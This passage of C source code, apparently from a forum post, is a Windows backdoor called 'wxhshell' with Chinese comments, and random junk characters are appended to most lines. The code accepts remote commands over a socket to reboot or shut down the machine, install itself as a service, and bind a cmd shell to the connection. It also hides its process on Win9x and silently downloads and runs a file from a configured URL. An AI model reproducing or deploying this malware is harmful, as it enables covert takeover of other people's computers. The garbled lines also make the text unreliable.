  case '?': { 1o~U+s_r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LO}:Ub  
    break; v\9,j  
  } cU5"c)$'  
  // 安装 $N+ {r=  
  case 'i': { hB$Y4~T%  
    if(Install()) = EChH@3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %OTA5  
    else d7tD|[(J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SAE '?_  
    break; K!D!b'|bb  
    } Pzm!`F^r}  
  // 卸载 R{xyme@"^  
  case 'r': { $aPHl  
    if(Uninstall()) VfA5r`^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xt,,AGm}  
    else w H_n$w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iraRB~  
    break; -=t3O#  
    } rE{Xo:Cf  
  // 显示 wxhshell 所在路径 CVSsB:H6e  
  case 'p': { s@)"IdSA(  
    char svExeFile[MAX_PATH]; BXK::M+  
    strcpy(svExeFile,"\n\r"); Ril21o! j  
      strcat(svExeFile,ExeFile); 'UvS3]bSYW  
        send(wsh,svExeFile,strlen(svExeFile),0);  2H K  
    break; kGuk -P  
    } R4~zL!7;  
  // 重启 Wt)SdF=U/  
  case 'b': { @+\S!o3m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8}?Y;>s\  
    if(Boot(REBOOT)) 4lh   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p-'6_\F.Ke  
    else { q4.dLU,1  
    closesocket(wsh); 'f?&EsIV?  
    ExitThread(0); tC@zM.v%  
    } mQ ^ @ \s  
    break; X!#i@V  
    } ss0'GfP  
  // 关机 Vyt~OTI\  
  case 'd': { +/!=Ub[:U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nvs}r%1'5  
    if(Boot(SHUTDOWN)) VkTlPmr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DYT -#Ht  
    else { aa0`y  
    closesocket(wsh); iy.%kHC  
    ExitThread(0); @ Zgl>  
    } 3gI[]4lRH  
    break; DNW2;i<hsz  
    } Ub'%pU  
  // 获取shell ^`jZKh8)h  
  case 's': { ;&W;  
    CmdShell(wsh); fr'huvc  
    closesocket(wsh); ZH;y>Z  
    ExitThread(0); J%\~<_2ny  
    break; x'@32gv  
  } >: W-C{%  
  // 退出 4QjWZ Wl  
  case 'x': { 4g6ksdFQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?lc[ hH  
    CloseIt(wsh); te\h?H  
    break; {n'qKur xY  
    } `z?KL(rI  
  // 离开 =,AC%S_D~  
  case 'q': { gaw4NZd)0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hLyTUt~\L  
    closesocket(wsh); WBw M;S#%  
    WSACleanup(); S}m$,<x  
    exit(1); 1(%>`=R8  
    break; @Ge>i5q  
        } oxMUW<gYd  
  } (! 0j4'  
  } kh<pLI>$h  
yWv<A^C &  
  // 提示信息 +w k]iH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )@<HCRQ'q  
} pyg!rf-  
  } YH'$_,8peM  
{HIR>])o  
  return; 0HHui7Yy>  
} uOG-IHuF  
P>{US1t  
// shell模块句柄 42V,PH6o  
int CmdShell(SOCKET sock) X/E7o92\  
{ `sk!C7%  
STARTUPINFO si; q6C6PPc  
ZeroMemory(&si,sizeof(si)); eC>"my`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u( 1J=h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C@y}*XV[b  
PROCESS_INFORMATION ProcessInfo; N>A{)_k3  
char cmdline[]="cmd"; 9@#h}E1$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QM[A;WBr7  
  return 0; 3C rQBIj1  
} d1~_?V'r]  
CYPazOfj  
// 自身启动模式 (2 T#/$  
int StartFromService(void) t_I\P.aMA  
{ 1jH7<%y  
typedef struct 6WE&((r ^  
{ ^s^ JzFw  
  DWORD ExitStatus; XOysgX0g  
  DWORD PebBaseAddress; gf68iR.Gs  
  DWORD AffinityMask; WCuzV7tw  
  DWORD BasePriority; o%Be0~n'  
  ULONG UniqueProcessId; AezvBY0'`z  
  ULONG InheritedFromUniqueProcessId; ~|CJsD/  
}   PROCESS_BASIC_INFORMATION; F-BJe]  
J$#h( D%  
PROCNTQSIP NtQueryInformationProcess; &jV9*  
?~"`^|d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^w:OS5%R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5q|+p?C  
5:Yck<  
  HANDLE             hProcess; [ME}Cv`?<E  
  PROCESS_BASIC_INFORMATION pbi; j>0<#SYBu  
?w+ QbT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .q0218l:dF  
  if(NULL == hInst ) return 0; .O5LI35,  
r-RCe3%g%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w=f0*$ue+w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |Z`M*.d+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sao>P[#x  
R* s* +I  
  if (!NtQueryInformationProcess) return 0; V#ndyUM;  
kCima/+_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8G0  
  if(!hProcess) return 0; DE*MdfP0  
*0%4l_i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iD>G!\&  
T)WZ_bR  
  CloseHandle(hProcess); Y]C; T  
hc-lzYS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /635B*g  
if(hProcess==NULL) return 0; 33Ssylno  
#/ OUGeJ  
HMODULE hMod; |h5kg<Zgo  
char procName[255]; I3Lg?bZ  
unsigned long cbNeeded; \\=.6cg<K  
6( >3P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9<xTu>7J  
BG'6;64kx6  
  CloseHandle(hProcess); Tr}R`6d$  
 MKU7fFN.  
if(strstr(procName,"services")) return 1; // 以服务启动 u-m%=2  
Q`H# fS~  
  return 0; // 注册表启动 '5'3_vM  
} No:^hY:F8  
3c c1EQ9  
// 主模块 f?,-j>[.=f  
int StartWxhshell(LPSTR lpCmdLine) ~O \}/I28  
{ ?n!lUr$:y  
  SOCKET wsl; 4\p$4Hs}  
BOOL val=TRUE; \% }raI;Y@  
  int port=0; !G7h9CF|{  
  struct sockaddr_in door; Ci;h  
xTW3UY  
  if(wscfg.ws_autoins) Install(); +'-rTi\  
A#<vG1  
port=atoi(lpCmdLine); S8\+XJ  
`SCy<w3$+[  
if(port<=0) port=wscfg.ws_port; (~S<EUc$  
_1sP.0 t  
  WSADATA data; 2 =>*O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e#tIk;9Xz  
nz^nptw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XJe/tR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X]qCS0GD'  
  door.sin_family = AF_INET; GGH;Z WSe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #C4|@7w%  
  door.sin_port = htons(port); :]'q#$!  
d!o.ASL{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _*Pfp+if  
closesocket(wsl); Q/p(#/y#b  
return 1; IWQ&6SDW$z  
} Bb~5& @M|N  
d+tj%7  
  if(listen(wsl,2) == INVALID_SOCKET) { ji }#MBac  
closesocket(wsl); ASR-a't6  
return 1; wTT RoeJ}  
} 9hy'DcSy,  
  Wxhshell(wsl); lqF>=15  
  WSACleanup(); ~L~]QN\3  
u=%y  
return 0; o~= iy  
g^jJ8k,7(  
} ~]&B >q  
dsV ~|D6:  
// 以NT服务方式启动 W+8^P( K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8/Mx5~ R  
{ TM0b-W (H  
DWORD   status = 0; kfXS_\@iW1  
  DWORD   specificError = 0xfffffff; F=srkw:*.  
Vc|NL^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *%X.ym'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T8U[xu.>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^uhxURF  
  serviceStatus.dwWin32ExitCode     = 0; S/VA~,KCe;  
  serviceStatus.dwServiceSpecificExitCode = 0; Q\|18wkW  
  serviceStatus.dwCheckPoint       = 0; 6J\q`q(W(  
  serviceStatus.dwWaitHint       = 0; |~eY%LB  
HcA[QBh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [<yz)<<  
  if (hServiceStatusHandle==0) return; PB+\jj  
5C B%=iL{  
status = GetLastError(); g92dw<$>  
  if (status!=NO_ERROR) Hq?&Qo  
{ yxvjg\!&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VgA48qZ  
    serviceStatus.dwCheckPoint       = 0; 0(8gQ 2n  
    serviceStatus.dwWaitHint       = 0; DcN"=Y  
    serviceStatus.dwWin32ExitCode     = status; 'j}g  
    serviceStatus.dwServiceSpecificExitCode = specificError; ehE-SrkU'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FuuS"G,S  
    return; %*jGim~s  
  } : W~f;k  
&mcR   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "qS!B.rt:  
  serviceStatus.dwCheckPoint       = 0; jn^fgH ?  
  serviceStatus.dwWaitHint       = 0; Oxv+1Ub<Dv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G,]z (%  
} !Av1Leb9$  
>yKpM }6l{  
// 处理NT服务事件,比如:启动、停止 2 5Q+1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @V$I?iXV  
{ &$F[/[Ds+  
switch(fdwControl) -D#5o,]3  
{ T%kKVr  
case SERVICE_CONTROL_STOP: yX'IZk#_L  
  serviceStatus.dwWin32ExitCode = 0; KaW~ERx5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rboof`pVt  
  serviceStatus.dwCheckPoint   = 0; $T),DUYO  
  serviceStatus.dwWaitHint     = 0; p.C1nh  
  { l<xFnj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \45(#H<$  
  } f*<ps o  
  return; !!WJn}  
case SERVICE_CONTROL_PAUSE: c;wA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MqdB\OW&  
  break; -2 x E#r  
case SERVICE_CONTROL_CONTINUE: &DLhb90  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ M*gsW$  
  break; 1"O&40l  
case SERVICE_CONTROL_INTERROGATE: 4)^vMG&  
  break; RL*]g*  
}; O: JPJ"!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (B:uc_+  
} {2:d` fqD  
(;UP%H>  
// 标准应用程序主函数 /lJjQ]c;>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 59i]  
{ PBrnzkoY  
%K zbO0  
// 获取操作系统版本 O&V[g>x"U  
OsIsNt=GetOsVer(); &Mj1CvCv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BFh$.+D  
/cfHYvnz  
  // 从命令行安装 Rg&19 }BU  
  if(strpbrk(lpCmdLine,"iI")) Install(); A$@o'Q;he  
:Fw?{0  
  // 下载执行文件 ZMdW2_*F   
if(wscfg.ws_downexe) { SA+d&H}Fc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _CE9B e\  
  WinExec(wscfg.ws_filenam,SW_HIDE); M/#U2!iFk  
} &z>q#'X;.  
O>AFF@=  
if(!OsIsNt) { Pq?*C;D  
// 如果时win9x,隐藏进程并且设置为注册表启动 v9rVpYc"  
HideProc(); Q#pnj thM  
StartWxhshell(lpCmdLine); h<% U["   
} dIJGB==  
else Gw{+xz KJ  
  if(StartFromService()) C3}Aq8$6  
  // 以服务方式启动 yp+F<5o  
  StartServiceCtrlDispatcher(DispatchTable); P}@*Z>j:#  
else N09KVz2Q  
  // 普通方式启动 =dGKF`tR  
  StartWxhshell(lpCmdLine); s}(X]Gx1  
~ziexZ=N  
return 0; 8l23%iWxe  
}
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只看该作者 1 发表于: 2006-10-10
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